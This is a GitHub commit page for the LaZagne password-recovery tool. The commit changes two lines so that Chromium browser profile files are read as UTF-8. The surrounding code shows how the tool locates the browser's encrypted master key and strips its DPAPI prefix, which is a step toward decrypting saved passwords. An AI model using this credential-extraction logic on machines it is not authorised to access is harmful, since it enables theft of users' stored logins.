Skip to content

Commit

Permalink
Fix #623
Browse files Browse the repository at this point in the history
  • Loading branch information
AlessandroZ committed Nov 13, 2023
1 parent 2212fab commit d3c8a9b
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions Windows/lazagne/softwares/browsers/chromium_based.py
Original file line number Diff line number Diff line change
Expand Up @@ -41,15 +41,15 @@ def _get_database_dirs(self):
if os.path.isdir(dirs_path) and dirs.startswith('Profile'):
profiles.add(dirs)

with open(profiles_path) as f:
with open(profiles_path, "r", encoding="utf-8") as f:
try:
data = json.load(f)
# Add profiles from json to Default profile. set removes duplicates
profiles |= set(data['profile']['info_cache'])
except Exception:
pass

with open(profiles_path) as f:
with open(profiles_path, "r", encoding="utf-8") as f:
try:
master_key = base64.b64decode(json.load(f)["os_crypt"]["encrypted_key"])
master_key = master_key[5:] # removing DPAPI
Expand Down

0 comments on commit d3c8a9b

Please sign in to comment.